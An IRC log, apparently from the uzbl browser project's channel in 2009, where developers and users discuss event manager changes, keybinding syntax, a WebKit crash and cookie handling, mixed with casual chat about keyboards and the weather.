03:35 < keis> when people start using a names in turns into a huge drama
03:35 < comhack> So you got any really good xmonad links besides the normal ones. Something that helped you out. I have learned a great deal already but still
03:35 < comhack> yeah right
03:35 < keis> not really, I mostly read the haddock documentation.
03:35 < comhack> haddock"?
03:36 < comhack> hmmm looking now
03:36 < comhack> thanks
03:36 < keis> it's haskells answer to Java Doc or w/e
03:36 < comhack> oh cool
03:36 < aep> hm gmail claims i have cookies turned off
03:36 < keis> the first hit on google on any of the typenames are often from there
03:37 < comhack> You got any cool css for uzbl
03:37 < keis> css?
03:37 < comhack> holdon
03:38 < comhack> the default.css   I have seen some really cool ones for uzbl    I am looking ofr it now
03:39 < keis> hmm, won't that fuck-up alot of sites?
03:40 < keis> like if they specify the background but not the foreground color?
03:40 < keis> I know im guilty of that.
03:40 < comhack> http://pbrisbin.com:8080/screenshots/desktop_0910011948.png like this one
03:41 < comhack> bthat is Lich's css style    cant find the actual code though
03:41 < comhack> I really like the colors
03:41 < comhack> http://bbs.archlinux.org/viewtopic.php?id=81283&p=2 post #46
03:42 < keis> hehe, looks like the same gray is use as background in vim :)
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03:43 < comhack> yup
03:45 < keis> anyway, should propably try to sleep now
03:45 < comhack> ok later see you around   thanks for the help
03:47 < comhack> nice chattin with you :)
03:47 < keis> the same :)
03:47 < keis> gn
03:47 < comhack> u 2
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09:26 < rob|> morning.
09:27 < MichaelRaskin> Good morning.
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09:45 < mason-l> Afternoon.
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10:02 < Dieterbe_> morning ladies
10:03 < Dieterbe_> or gentlemen, whatever fits for you
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10:29 < jelly12gen> bleh http://www.engadget.com/2009/10/14/firefox-3-6-will-support-accelerometers-make-the-internet-seasi/ FF is getting bloat
10:34 < rob|> heh, fun toy
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12:02 < rob|> wth, it started snowing here...
12:03 < Zombywuf> Where's here?
12:03 < Dieterbe_> lol
12:03 < Dieterbe_> last winter was pretty damn cold
12:03 < rob|> Zombywuf: southern germany
12:04 < Dieterbe_> curious what this one brings, probably also pretty damn cold
12:04 < Zombywuf> Was snowing in Poland yesterday
12:04 < Zombywuf> I'm a long way North of you, but warmed by the gulf stream
12:05 < ruskie> :)
12:05 < ruskie> yay
12:05 < ruskie> maybe we'll get some decent snowfall this year
12:06 < Dieterbe_> who wants to go skiing/snowboarding? uzbl wintersport event anyone?
12:06 < ruskie> neither :)
12:07 < ruskie> I just want the peace and quiet of a completly snowed in city ;)
12:07 < rob|> well, i can't recall when it was snowing that early
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12:30 < mason-l> It never snows in WA.
12:30 < mason-l> :(
12:31 < DuClare> Somebody invented the keyboard.  Too bad he didn't notice they've been invented already.. http://vimeo.com/6712657
12:32 < ruskie> lol
12:34 < Zombywuf> Notice how that demo shows opening several text editors, but at no point is there any editing of text
12:34 < mason-l> Zombywuf, I noticed that also.
12:35 < DuClare> The defect of the keyboard he invented is that the buttons move around so you have to look at the screen to find where you must press.
12:35  * DuClare embraces his hardware.  Kinesis. ♥
12:35 < Zombywuf> With tactile feedback that might be worth investigating, we can maybe have that tech in 10 years or so
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12:42 < ruskie> I'd like to have a touchscreen that can extrude the keys a bit and react to them being pressed
12:43 < ruskie> iirc there exists tech for extruding things to a point
12:43 < ruskie> no clue if it can colapse when hitting it
12:44 < ruskie> then you could generate an image with each key and have it extrude the keys
12:44 < Zombywuf> You could possibly do something with solenoids, but it would be an engineering nightmare
12:45 < ruskie> there is a table that allows to display a map with an extruded height
12:45 < ruskie> but doing something like display the mount everest from 0 to it's full size would most likely rupture it
12:45 < mason-l> I'll stick with my Matias tactilepro 2.
12:47  * ruskie wonders when Dieterbe_ will have uzbl running on the N900 now that he has it
12:48 < mason-l> I really want to waste some money on one of these though: http://en.wikipedia.org/wiki/File:Happy_Hacking_Keyboard_Professional_2.jpg
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13:14 < bimbo> hello, is it possible to bind mouse buttons in uzbl? I would like to bind the middle button of the mouse for opening links in a new uzbl window
13:15 < rob|> bimbo: http://www.uzbl.org/wiki/middle_click_links
13:15 < bimbo> rob|: thank you
13:17 < rob|> sure thing
13:28 < bimbo> rob|: already tried it, but it crashes everytime I try to open a link
13:28 < mason-l> White keyboard versus black keyboard, tough decision.
13:28 < bimbo> a new browser instance is opened but is closed as soon as the webpage is loaded
13:29 < kevix> mason-l: I have an old version of the HHKB. I liked it.
13:29 < mason-l> kevix, Which colour did you get?
13:30 < kevix> mine is black.
13:30 < mason-l> It's probably the safe bet because the white will get dirty easily.
13:30 < kevix> that was one reason why I got the black.
13:37 < mason-l> Ordered.
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13:45 < Dieterbe_> 12:31:53 < DuClare> Somebody invented the keyboard.  Too bad he didn't notice they've been invented already.. http://vimeo.com/6712657
13:45 < Dieterbe_> crap> sorry about that
13:55 < bimbo> anyone using the middle click script rob| pointed out? (http://www.uzbl.org/wiki/middle_click_links)
13:56 < bimbo> it partially works here, but after loading the page the instance is automatically closed
13:57 < MichaelRaskin> I do
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13:58 < MichaelRaskin> bimbo,  Do you use uzbl-experimental
13:58 < MichaelRaskin> ?
13:58 < bimbo> MichaelRaskin: no, uzbl-git from AUR (archlinux)
13:59 < MichaelRaskin> It is probably uzbl -master
14:00 < MichaelRaskin> Not that it should matter..
14:01 < bimbo> MichaelRaskin: what do you mean by "uzbl -master"?
14:01 < MichaelRaskin> There is a master branch and an experimental branch]
14:01 < bimbo> MichaelRaskin: ahh ok, yes it's probably master then
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14:02 < bimbo> anyway... I don't know why it's closing, this is the line I've got in my config file: set load_commit_handler = chain 'script $XDG_DATA_HOME/uzbl/scripts/middle_click.js' 'set status_message = <span foreground="green">recv</span>'
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14:18 < bimbo> is there a log file for uzbl?
14:19 < Dieterbe_> no(t unless you redirect stdout yourself)
14:23 < bimbo> Dieterbe_: thx
14:24 < bimbo> this is the output generated when I open a link using the mouse's middle button: *** NSPlugin Wrapper *** ERROR: NP_Initialize() invoke: Connection was NULL
14:24 < bimbo> would that be the reason why it's crashing?
14:24 < Dieterbe_> no ieda
14:24 < Dieterbe_> idea*
14:34 < MichaelRaskin> I do not have Flash plugin in Uzbl.
14:34 < MichaelRaskin> So that may be a relevant difference
14:37 < bimbo> hmm but I don't even have ndiswrapper installed, I have native flash plugin (which by the way works in uzbl without problems)
14:40 < ruskie> that isn't ndiswrapper
14:41 < ruskie> NSPlugin wrapper is the netscape plugin wrapper
14:41 < ruskie> and is one of the few things various browsers seem to have it common
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14:45 < bimbo> ah, I just assumed it was ndiswrapper, hmm I have no clue what's making uzbl crash when invoked with the middle mouse script
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15:04 < bimbo> is there a history for uzbl commands?
15:05 < lich> not that I know of, but there is an uzbl history script
15:05 < lich> U
15:05 < rob|> bimbo: not in master, though it will probably be available in experimental at some point
15:05 < lich> since I'm asuming you want to reload some site you opened previouslly, that should do the trick
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15:11 < bimbo> it would be nice to see that in a future release
15:12 < bimbo> s/would/will
15:12 < Dieterbe_> lich: i think he meant something more generic. for all commands, not just opened url's
15:12 < Dieterbe_> bimbo: well, in experimental the console interface is entirely scripted so you can do anything you want in it
15:14 < lich> Dieterbe_: yeah I gather that, but all I use is o,r,g,fl and b, and apart from the first, I can just retype :D
15:14 < lich> Dieterbe_: experimental sounds like you guys wroked a lot on it
15:14 < lich> worked*
15:14 < lich> any spicy stuff? :D
15:14 < lich> I should make barewm act like uzbl, one display open for every app :)) </joke>
15:16 < Dieterbe_> hm? barewm?
15:17 < lich> my old window manager
15:17 < lich> http://bbs.archlinux.org/viewtopic.php?id=70902&p=2
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15:24 < mason-l> rob|, I've got it working :D
15:24 < rob|> cool \o/
15:25 < lich> is that an issue with uzbl nowadays, getting it to work? :)
15:26 < Dieterbe_> 'it' is more then you think
15:28 < lich> so, what would the next release bring if I may ask? Give me the spicy stuff (new things)
15:31 < rob|> hell! Program received signal SIGILL, Illegal instruction.  <-- getting this since webkit 1.1.15 and trying to access google.com
15:31 < rob|> the backtrace shows:
15:32 < rob|> #20 0xb74ef5f9 in JSC::Interpreter::execute(JSC::FunctionExecutable*, JSC::ExecState*, JSC::JSFunction*, JSC::JSObject*, JSC::ArgList const&, JSC::ScopeChainNode*, JSC::JSValue*) () from /usr/lib/libwebkit-1.0.so.2
15:32 < rob|> some js corruption as it seems
15:32 < Dieterbe_> we'll need to spank the webkit guys
15:36 < rob|> mason-l: so the EM is now using a single socket for all instances, right?
15:38 < lich> Dieterbe_: can I come?
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15:44 < rob|> hmm, strange bug also happens on youtube
15:45 < rob|> i wonder wether it might be something on our side
15:50 < rob|> anybody have updated to 1.1.15 and can give that a shot?
15:51 < Zombywuf> Are fragment identifiers sent to the server in the latest experimental builds?
15:52 < rob|> ok, also happens with master so it must be a webkit bug
15:52 < rob|> Zombywuf: no, i didn't do anything to those
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15:54 < Zombywuf> I found a couple of sites that were returning 404 on links with fragment identifiers but the experimental branch of a few days ago did not have the problem, will poke further when I finish work
15:56 < mason-l> rob|, Yeah.
15:59 < rob|> mason-l: nice, looking forward to give it  a try
15:59 < rob|> also there is a new webkit n arch, let's see wether it fixes the SIGILL issue
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16:03 < rob|> ok, the new version fixes the bug
16:03 < rob|> i wonder what kind of testing the webkit guys are doing there ;)
16:03 < ruskie> $random stabs in the dark?
16:08 < Zombywuf> Are you running off git HEAD?
16:11 < rob|> webkit?
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16:11 < bct> rob|: i fixed the test suite on the experimental branch, and added some tests for various commands
16:11 < bct> interested?
16:12 < Zombywuf> yeah
16:13 < rob|> nope, the arch packages
16:17 < Masca> rob|: does the stock config in experimental works for you?
16:17  * Masca just upgraded.
16:19 < Dieterbe_> bct: that sounds good. the test suite was broken with all these changes :P 
16:19 < Masca> rob|: it doesn't expand the scripts_dir.
16:20 < rob|> it used to work, though if you pulled from my tree you'll have to wait for mason to push his EM changes
16:21 < Masca> pulled from dieter's
16:21 < bct> Dieterbe_, should i send a formal pull request to the list?
16:21 < bct> it's just one commit, barely touches anything except the tests.
16:22 < Dieterbe_> bct: unless rob wants to merge it here and now, yes
16:24 < bct> kk.
16:24 < Masca> yeah, now I have an useless uzbl. =(
16:31 < lich> useless uzbl is the worse
16:31 < Masca> I cped the /usr/share/..scripts to my .local/share.../scritps and worked. I guess your expansion is not working.
16:35 < keis> 'sup?
16:40 < keis> mason-l: couldn't resist having a go at the modcmd/keycmd thingie last night. it's working decently except for some quirks from moving all bindings to the config
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16:40 < mason-l> Moving all the bindings to the config?
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16:41 < keis> @bind <Return>*       = chain 'request KEYCMD_EXEC %s' 'request SET_KEYCMD'
16:42 < keis> and so on, unless the keycmd is reset it goes into a almost-inf loop (dunno why it stops)
16:42 < mason-l> Oh wow. I'm not sure I would have gone that far.
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16:45 < keis> heh, I figured some would like to keep the ctrl+u etc space open for their own bindings
16:45 < keis> and well, adding all there just was as easy
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16:57 < mason-l> keis, Did you add ^W and ^U with custom events?
16:58 < mason-l> rob|, I've done some killer changes
16:58 < keis> I have ^U in my test config, will need to refresh my sed-fu before doing ^W I think
16:59 < mason-l> keis, No just raise a custom event and do the keycmd manipulation in the keycmd plugin.
17:02 < keis> hmm, right. could do the same thing with Return to avoid passing the commandline back and forth(?)
17:08 < mason-l> Whats the /bin/sh way to check if a file exists?
17:08 < bct> [ -f path ]
17:09 < keis> isn't that bash only?
17:09 < mason-l> Hmm.
17:09 < rob|> mason-l: tell me more (about the killer changes)
17:09 < bct> keis, maybe it's only a builtin in bash but /usr/bin/test and /usr/bin/[ are pretty standard i think
17:10 < mason-l> bct, I mention it because [ -f ] isn't working in sh on my system.
17:10 < bct> try test -f ?
17:10 < bct> most systems i've used have [ symlinked to test.
17:14 < rob|> POSIX/SuS require -f
17:15 < rob|> http://www.opengroup.org/onlinepubs/009695399/utilities/test.html
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17:50  * rob| is watching les stroud in the arctic, fits well with the local weather..
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18:11 < mason-l> rob|, Hold your horses.
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18:16 < mason-l> rob|, http://github.com/mason-larobina/uzbl/commit/fdd8d07eba9e483baf618b6d8fd928fefb8465f3
18:16 < mason-l> & Dieterbe_
18:17 < rob|> nice, gotta try it out!
18:17 < mason-l> I've put it into a new branch until I know it works correctly.
18:17 < mason-l> I've tested it a bit but it helps with more people testing.
18:20 < mason-l> rob|, And I think I've covered everything in that commit message.
18:21 < rob|> looks pretty nice, now to actually give it a go
18:23 < rob|> github's taking ages again..
18:26 < mason-l> It was a big diff :)
18:29 < rob|> very cool mason, it works a treat!
18:29 < rob|> also it seems to be faster
18:29 < mason-l> :)
18:29 < mason-l> Magic.
18:31 < mason-l> Something that would be nice is logging
18:31 < mason-l> so that if a user has a problem while running in daemon mode the traceback is still printed out.
18:31 < rob|> right, that wouldn't be too bad
18:32 < Zombywuf> How does the event manager handle multi user environments?
18:32 < rob|> oh, do can you easily access the bindings list? it might be nice to have a F1 bindings that just throws that list into the browser
18:32 < rob|> s/do//
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18:33 < rob|> Zombywuf: one EM per user
18:33 < mason-l> Zombywuf, Theres no user restrictions but its best to run one per user.
18:33 < mason-l> Zombywuf, All the daemonisation takes place in the users $XDG_CACHE_DIR
18:33 < Zombywuf> Ah, ok
18:34 < mason-l> rob|, As for the binding list there is no way to dump it currently but its easy to do.
18:34 < rob|> ok, it is in the config after all
18:36 < rob|> anyways, i tested with a couple of sites that open windows on their own and also opening new instances manually and it seems to work perfectly
18:36 < rob|> great job (as always)!
18:40 < mason-l> Let me know if you have any problems.
18:40 < mason-l> My shell scripting isn't perfect so I'm sure uzbl-browser and uzbl-daemon can be improved.
18:41 < mason-l> And at the moment './uzbl-daemon list' ignores the load & ignore plugin lists.
18:50 < keis> only thing left to do is to make the stacks work again, and update the documentation...
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19:58 < rob|> so, back.
19:58 < rob|> keis: what stacks?
19:58 < keis> the ones used to do "<uri:>" e.g
19:59 < rob|> ok, they seem to work though
19:59 < keis> not on my branch ;p
20:00 < rob|> oh, i see ;)
20:01 < rob|> i guess there should be a wiki page with links to branches plus a short description of what the owners are working on
20:02 < keis> would be nice
20:02 < keis> if people remember to keep it up to date
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20:17 < rob|> so, here you go http://www.uzbl.org/wiki/branches
20:17 < rob|> feel free to add your branch(es) to the page
20:18 < keis> cool :)
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20:21 < keis> but "This page is read only. You can view the source, but not change it."
20:22 < mason-l> keis, Have you logged in?
20:22 < mason-l> & rob|: I'm not sure how much longer I'll keep the multi-instance-em branch around I just wanted to be able to push some changes to see if they work.
20:23 < keis> ah, no.
20:23  * keis registers
20:23 < rob|> mason-l:  sure, just put it up there cause right now it holds the most bloody egde version of the EM
20:23 < rob|> ^I
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20:45 < rob|> mason-l: what are the plans for tabbed?
20:46 < rob|> i guess it can be integrated more smoothly now
20:47 < mason-l> rob|, Yeah its much easier to fix now but I will probably re-adapt uzbl_tabbed.py to make use of the event manager.
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20:51 < rob|> i see. oh one more thing, should we leave the event manager hanging around if there are no more uzbls running or should it keep track of INSTANCE_EXIT and close itself when the last instance has exited?
20:51 < rob|> maybe there should be a cl option for this
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20:52 < bct> rob|, was there some problem unifying talk_to_socket with the rest of the event handling?
20:52 < bct> i seem to recall that there was, but not the details.
20:52 < rob|> bct: yes, its syncronous behaviour
20:53 < bct> so no synchronous events are supported atm?
20:53 < rob|> right, there is a sync-events branch in my tree, though it is _very_ hacky atm
20:54 < rob|> and i'm not sure how to easily adapt it to our current multi clients per socket implementation
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20:57 < rob|> i still hope that the webkit guys will give us an easier way to cope with sync events
20:59 < rob|> oh, when i merged the split code thing into the sync-events branch i must have messed up parts of the code
20:59 < rob|> so it might be fully unfunctional now
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21:02 < rob|> the main problem is that glib's IO channels cannot handle recursive main loops (that's really a pitty cause all other parts can)
21:03 < rob|> so we have basically 2 options, the first being the hacky one where we remove the channels from the main loop and re add them to the recursive loop
21:03 < rob|> and do the same thing when the rec. loop terminates
21:04 < rob|> the second, better option would be to write our own GSource that can handle recursive main loops
21:05 < bct> i don't know glib enough for that to make any sense
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21:05 < bct> i'm planning to take a look at it tonight though, thanks for priming me.
21:06 < keis> or file report on the gnome bugzilla
21:06 < keis> I imagine other apps are hitting the same limitation
21:07 < rob|> bct: ok, take a look at GSource and the 'can_recurse' field  to get an idea of what i was trying to say
21:08 < bct> aaah, ok.
21:08 < bct> that makes some sense.
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21:17 < rob|> mason-l: the EM is working nicely, no itch that would need scratching so far
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21:24 < rob|> i guess i'll put the COMMAND_EXECUTED event back in as it seems unsafe to let the EM generate an artificial event for this
21:24 < rob|> considering multiple clients are connected to uzbl
21:25 < mason-l> When are multiple EM's connected to uzbl?
21:26 < mason-l> Or are you putting it back because its possible multiple EM's _may_ be connected to one uzbl?
21:26 < rob|> whenever someone issues a   socat unix-connect:uzbl_socket -
21:26 < rob|> or writes something to the fifo
21:27 < rob|> and yeah, it _may_ be possible of course
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22:35 < Dieterbe> hi guys
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22:35 < Dieterbe> what did i miss?
22:35 < Dieterbe> my pc was offline since this morning :/
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22:36 < rob|> wb dieter
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22:36 < rob|> mason-l: i guess the lib thing was dieter's idea/plan
22:37 < rob|> Dieterbe: --->
22:37 < rob|> <mason-l> rob|, What were your thoughts on moving all the example scripts & plugins into a lib-like dir?
22:37 < rob|> <mason-l> I remember a discussion about this not long ago.
22:37 < rob|> <mason-l> Because more recently in the experimental branch those scripts and plugins in the exmaple data dir aren't really examples anymore.
22:37 < rob|> <mason-l> They are the scripts until overridden.
22:37 < rob|> <mason-l> I.e. move /usr/local/share/uzbl/examples/data/uzbl/scripts/* to /usr/lib/uzbl/scripts/*
22:37 < rob|> <mason-l> (Or something thereof)
22:37 < Dieterbe> yeah
22:38 < rob|> so, lead the way, sir ;)
22:39 < uranther> sounds reasonable.. or at least /usr/share/uzbl/scripts
22:39 < Dieterbe> i'm not sure how it should look like in the source code directory, but as make file targets (and hence, packages on downstream distributors. read: linux distro's), it would be nice to have 'uzbl-browser', 'uzbl-core', 'uzbl-whatever' etc, all of which use scripts located in /usr/lib/uzbl/scripts/
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22:42 < rob|> yep, sounds good
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22:43 < Dieterbe> anyway, bedtime for me (sigh)
22:44 < Dieterbe> see you
22:45 < rob|> night
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03:36 < bct> what are dmenu-vertical's -xs and -rs options supposed to do? my version doesn't have them.
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03:45 < argento> hi, i'm trying to write a script similar to uzblcat (from the wiki) which goes like
03:47 < argento> ok, it was s/,/;/ problem
03:47 < argento> sorry
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03:48 < juantelez> argento: where are you from?
03:48 < argento> argentina, y vos?
03:49 < juantelez> afortunadamente,,,
03:49 < juantelez> tambien! :P
03:50 < juantelez> argento: tas en la comunidad del softlibre?
03:50 < argento> juantelez: comunidad del software libre?
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03:52 < juantelez> argento: claro
03:52 < juantelez> argento: si estás en algún lug?
03:52 < argento> juantelez: no lo acabo de buscar en google :P
03:54 < juantelez> argento: jaja
03:54 < juantelez> argento: sos de Bs As?
03:55 < argento> si, estoy en bs as ahora, pero soy de mendoza
03:55 < juantelez> groso
03:56 < argento> juantelez: acabo de ver lo de usla
03:56 < argento> juantelez: sos de ese grupo?
03:56 < juantelez> jeje
03:56 < juantelez> mmm
03:56 < juantelez> si
03:56 < juantelez>  /j cafelug
03:57 < juantelez> y si usas BSD /j openbsderos
03:57 < argento> juantelez: arch
03:57 < argento> juantelez: archLinux
03:57 < juantelez> groso
04:00 < argento> voy a ver si me sumo a algunas actividades, algunas de las charlas del CCT estaban interesntes
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04:01 < gal> hello
04:02 < gal> google search seems to lag under uzbl
04:04 < juantelez> argento: se
04:08 < juantelez> che, argento, viniste por laburo?
04:10 < argento> juantelez: por estudio, en la uba
04:10 < argento> juantelez: vos a q te dedicas?
04:10 < juantelez> argento: ahhh, entonces vas a estar acá para rato
04:10 < juantelez> argento: sysadmin junior
04:10 < juantelez> linux obvio
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04:11 < juantelez> argento: hace mucho que usas uzbl
04:13 < argento> juantelez: casi desde que empezo, pasa que el de la idea usa arch
04:13 < juantelez> claro
04:13 < argento> juantelez: entonces salió en el newsletter y me gustó la idea
04:14 < juantelez> je
04:14 < juantelez> argento: me voy a comer, nos vemos por ahi
04:14 < argento> juantelez: saludos y provecho
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06:50 < comhack> nobody tonight I see
06:53 < modnaru> Is there any recovery if EM crashes?
07:20 < comhack> What is EM?
07:20 < ruskie> event manager :)
07:20 < comhack> ahh
07:20 < ruskie> modnaru, I don't think so
07:20 < comhack> only been using uzbl for about a week
07:23 < modnaru> Yeah, I didn't think so.
07:24 < modnaru> One of mine stopped working, and I couldn't yank the link to reload the page.
07:24 < modnaru> And I had to... use the mouse.
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07:41 < ruskie> lol
07:42 < ruskie> this might improve with the update to have one EM/user so you could probably always restart it and it should work
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07:53 < MichaelRaskin> I guess a command like "reconnect EM" will still be needed.
07:53 < MichaelRaskin> Which can be issued via a fifo..
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07:54 < ruskie> should just try to reconnect automatically
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09:32 < Dieterbe> good morning guys
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09:35 < noisetonepause> good mourning.
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10:02 < rob|> morning.
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11:09 < lich> o/
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11:13 < lich> mason_l: you were the uzbl-tabbed dev right?
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13:49 < lich> can't remember, can uzbl select text mouseless?
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14:23 < rob|> lich: well, at least in experimental (didn't test in master) you can get it easily working
14:24 < lich> that's the only think keeping me with a hand on the mouse
14:24 < lich> once that's there, I'm nu teven plugging that bitch in
14:24 < lich> not*
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14:25 < rob|> lich:  try this    set caret_browsing = 1
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14:26 < rob|> not switch to insert mode and move the cursor with Tab,Left,Right,etc.
14:26 < rob|> select with Shift+MovemenKey
14:27 < lich> danke, trying now (using -git, not -experimental though)
14:28 < lich> caret_browsing not workin, and my config doesn't have it in there
14:28 < lich> hmmm
14:28 < rob|> what did you do?
14:29 < lich> well it wasn't in there, so I added it, then tried tab in cmd mode and nada...
14:30 < rob|> sry, in insert mode. the above "not" should have been a "now"
14:30 < lich> oh
14:30 < lich> I typo that too
14:31 < lich> yeah, that works thanks
14:31 < rob|> what happens instead, does the page scroll?
14:31 < lich> buuuut
14:31 < rob|> ah, ok
14:31 < lich> there's a but, actually more like a feature request
14:32 < lich> it;s only one thin vertical line, kinda hard to spot. any chances of making it like, highlight the current caret selection? like invert it, or simplu put a white/black/whatever bg under the link?
14:32 < lich> if this were css stylable it would be really cool
14:33 < rob|> not really sure about the stlyling possibilities
14:33 < lich> I set up  a binding in rp to click mouse2, and now I can select with kboard :D
14:33 < lich> bye bye mouse
14:34 < lich> one thing, how do I copy the link instead of the text, and also how do I copy the url I'm at?
14:36 < rob|> well, there are bindings in the default config for the current uri thing
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14:36 < rob|> and for the link this is pretty easily doable in java script
14:36 < lich> I know 0 js, maybe someone already has this
14:37 < lich> what other stuff I can do while at a link? open in new window or download would be great
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14:37 < rob|> yeah, someone already made something similar
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15:01 < lich> rob|: does what you told me (tabbing then selecting) add to the clipboard automatically? I'm experiencing problems..sometimes it doesn't work
15:01 < lich> also I need something else, tab only cycles through links, I need to be able to copy any text
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15:57 < rob|> well, we don't have anything better yet
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17:59 < mason-l> Hey guys
17:59 < keis> hi
17:59 < mason-l> Hey keis
18:02 < keis> did you look at my EM patches?, if not would you mind doing so?
18:06 < Dieterbe> hey mason
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18:18 < mason-l> keis, Alright I'll look over and hopefully integrate it this weekend.
18:19 < keis> k, awesome :)
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18:22 < mason-l> keis, I've just updated my github experimental branch do you mind re-basing your EM changes against my experimental head to make it easier to pull them in?
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18:23 < keis> yeah sure
18:23 < mason-l> keis, for an explanation of whats changed refer to: http://github.com/mason-larobina/uzbl/commit/fdd8d07eba9e483baf618b6d8fd928fefb8465f3
18:24 < keis> but im no git-wizard is that the same as a merge?
18:24 < keis> err, pull
18:24 < mason-l> Use pull
18:24 < mason-l> Yeah
18:24 < mason-l> But you may need to manually resolve some conflicts.
18:24 < keis> ok
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18:51 < keis> aaargh, git
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18:56 < keis> there, merged. and this time without a nice collection of .swp and .pyc
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19:02 < mason-l> :)
19:02 < mason-l> Thanks keis
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19:03 < mason-l> keis, new-modcmd branch?
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19:03 < keis> ah, yes :)
19:04 < mason-l> You didn't update the config?
19:04 < mason-l> (With examples that is)
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19:06 < keis> hmm, no.
19:11 < keis> I'll paste my related bindings with some comments
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19:20 < keis> pushed a updated config
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20:27 < bct> repeat question: what are dmenu-vertical's -xs and -rs options supposed to do? my version doesn't have them.
20:29 < Dieterbe>        -xs    xmms-like pattern matching.
20:29 < Dieterbe>        -rs    resize; adjust window-size for displaying the matching items.  -l or -h define the maximum.
20:29 < Dieterbe> xmms-like == firefox-awesomebar-like
20:30 < bct> as in typing xyz will select aoeuxyzhtns as well as xyz... ?
20:31 < bct> (thanks)
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20:43 < ptman> opqdonut: wb =P
20:44 < scj> i really really like the -xs switch
20:45 < rob|> keis: so, what is the exact syntax with your moifications?
20:45 < keis> rob|: the only change in syntax should be <Ctrl>a ==> <Ctrl><a>
20:46 < rob|> and <Ctrl>abc
20:46 < bct> i've got some weird version of the vertical patch that has no -xs option but seems to do it by default ;/
20:46 < rob|> ?
20:46 < keis> <Ctrl><a><b><c>
20:46 < rob|> hmm, i see
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21:06 < Dieterbe> bct: yes
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23:00 < gal> hey, uzbl seems to have problems searching in google
23:00 < gal> anyone else has this problem?
23:00 < keis> umh. nope
23:00 < gal> are you sure?
23:00 < gal> here's what happens
23:00 < gal> I google search
23:01 < gal> I submit the quary
23:01 < gal> the page stays the same
23:01 < gal> it takes a refreshto get the resaults
23:01 < gal> are you sure it's just me?
23:01 < keis> err, that's really odd
23:01 < gal> so it's just me then?
23:03 < gal> wierd
23:03 < gal> it happens just in google, everything else works fine
23:07 < keis> you could try using another version or something I guess
23:08 < gal> i think I might do that, thanks
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23:17 < gal> kies: just updated uzbl, problem gone thanks
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00:18 < gal> hey how come I can't set key bindings when using the exacy syntax in the sample config?
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00:20 < keis> the bind syntax has changed in experimental, if that's what you are using
00:20 < gal> i'm using the following:
00:21 < gal> bind    google _      = uri http://www.google.com/search?q=%s
00:21 < gal> of course all in one line
00:21 < gal> terminal tells me my command is not understood
00:22 < keis> yes, and are you pulling from experimental?
00:22 < gal> i use stable not experimental
00:22 < gal> wha do you mean pilling?
00:22 < gal> I use the uzbl-git version from the AUR
00:23 < keis> hmm, then i dunno
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00:23 < gal> ok thanks anyways
00:24 < keis> k, dunno what that is built from. you could try using "request BIND google _ = ..."
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00:44 < gal> yea I have no idea it's wierd..
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01:46 < LexsZero> hello
01:46 < LexsZero> how can I configure webkit's fonts?
01:47 < LexsZero> looks like it overrides those frome gtkrc with site-specific shit
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01:58 < jck> using uzbl can i make curl fetch the webpages?
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03:03 < jck> using uzbl can i make curl fetch the webpages?
03:03 < Rodya> yeah, i think all the details necessary are in the readme
03:04 < jck> what variable is this?
03:05 < Rodya> in the readme, it lists uri as a variable
03:06 < jck> uri is just the url right?
03:06 < keis> yes
03:07 < jck> so how do i make uzbl use curl to fetch the pages?
03:08 < keis> I think libsoup is pretty hardwired into gtk-webkit
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05:43 < xerxesdaphat> hullo
05:43 < xerxesdaphat> i've been attemping to use uzbl as my main browser, but have a bit of a problem
05:44 < xerxesdaphat> if the cookie handler is enabled, it's very slow, in fact worse than firefox
05:44 < xerxesdaphat> i've read this is a known problem
05:44 < keis> not using the daemon?
05:44 < xerxesdaphat> ah
05:44 < xerxesdaphat> see now that's why i joined the irc :P
05:45 < xerxesdaphat> i searched for a bit of information on it and i got the impression it was still being written
05:45 < xerxesdaphat> thanks, i'll take another look
05:45 < keis> I've been using it for a while without problems
05:45 < xerxesdaphat> also, while i'm here, is there any way to bind unprintable characters such as ctrl-i?
05:46 < xerxesdaphat> i can bind, say, ctrl-o by typing ctrl-v ctrl-o in vim
05:46 < xerxesdaphat> that prints out ^O
05:46 < xerxesdaphat> but if i try that with ctrl-i, i get a tab
05:46 < keis> yes, atleast in experimental with the event-manager. it's "<Ctrl>i"
05:46 < xerxesdaphat> what i really want to be able to do is write bind <Ctrl>i = foo
05:46 < xerxesdaphat> aaaaah ok
05:47 < xerxesdaphat> all right i'll check this experimental branch out :D
05:47 < xerxesdaphat> thanks
05:47 < keis> np
06:05 < comhack> keis: Thanks for the cookies_daemon script   works great
06:05 < comhack> or letting us know about it
06:05 < keis> hehe :)
06:05 < comhack> been using as my main browser for about a week with no cookies
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06:06 < keis> guess you don't use many sites which require login
06:06 < comhack> oh I do
06:07 < comhack> didnt mind logging in manually
06:07 < comhack> I switched from openbox to xmonad recently and no other browser matched the functionality
06:07 < keis> only time I thought about was when I had to login in to google-reader :P
06:07 < comhack> and my igoogle page
06:08 < comhack> I use alpine for archlinux branded gmail
06:08 < comhack> but now it is fixed for me
06:09 < keis> alpine.. some fork of pine?
06:09 < comhack> yup
06:10 < comhack> I did a write up here http://forums.scotsnewsletter.com/index.php?showtopic=29245
06:10 < comhack> keyboard driven as well
06:10 < comhack> ncurses based
06:11 < keis> was trying to move to nmh recently, but the lack of imap stopped me :(
06:11 < comhack> well imap works great on alpine
06:12 < comhack> no sendmail to configure either
06:12 < comhack> I had ssmtp configured but it does not use it
06:12 < keis> heh, that's nice.
06:13 < comhack> yeah I enjoy it
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06:13 < keis> hmm. think I'll give a try
06:13 < comhack> cool youll like it for sure
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06:14  * keis compiles aspell...
06:14 < comhack> hehehe
06:14 < comhack> arch?
06:14 < keis> guess it got spellchecking support to :)
06:14 < comhack> yup
06:19 < xerxesdaphat> comhack: cheers for that gmail/pine stuff
06:19 < comhack> np
06:19 < xerxesdaphat> definitely going to give that a whirl
06:20 < comhack> What does it mean in the cookies_daemon where it discusses multiple cookie daemons? I thought it mean for multiple sites but the automatic cookie launcher does that
06:20 < comhack> xerxesdaphat: youll like it
06:21 < comhack> I do not use uzbl tabs, I open up new instances each time
06:22 < comhack> I find alt-tab works better than tabs for me.   Of course I run uzbl fullscreen in xmonad since I have 3 monitors
06:22 < keis> I think they just mention that you could you several daemons
06:22 < comhack> ahh ok for what use though?
06:22 < keis> like one for 'private' mode or whatever
06:22 < comhack> ahh ok makes sense thanks
06:23 < keis> just guessing though :P
06:23 < comhack> thats kind of what I thought but was not for sure
06:24 < modnaru> Speaking of cookies, I have a problem with gmail where I have to delete my gmail cookies after I close uzbl.
06:24 < keis> are you using vanilla alpine or tweaked someway?
06:25 < modnaru> If I don't do that, the gmail ajax stuff breaks.
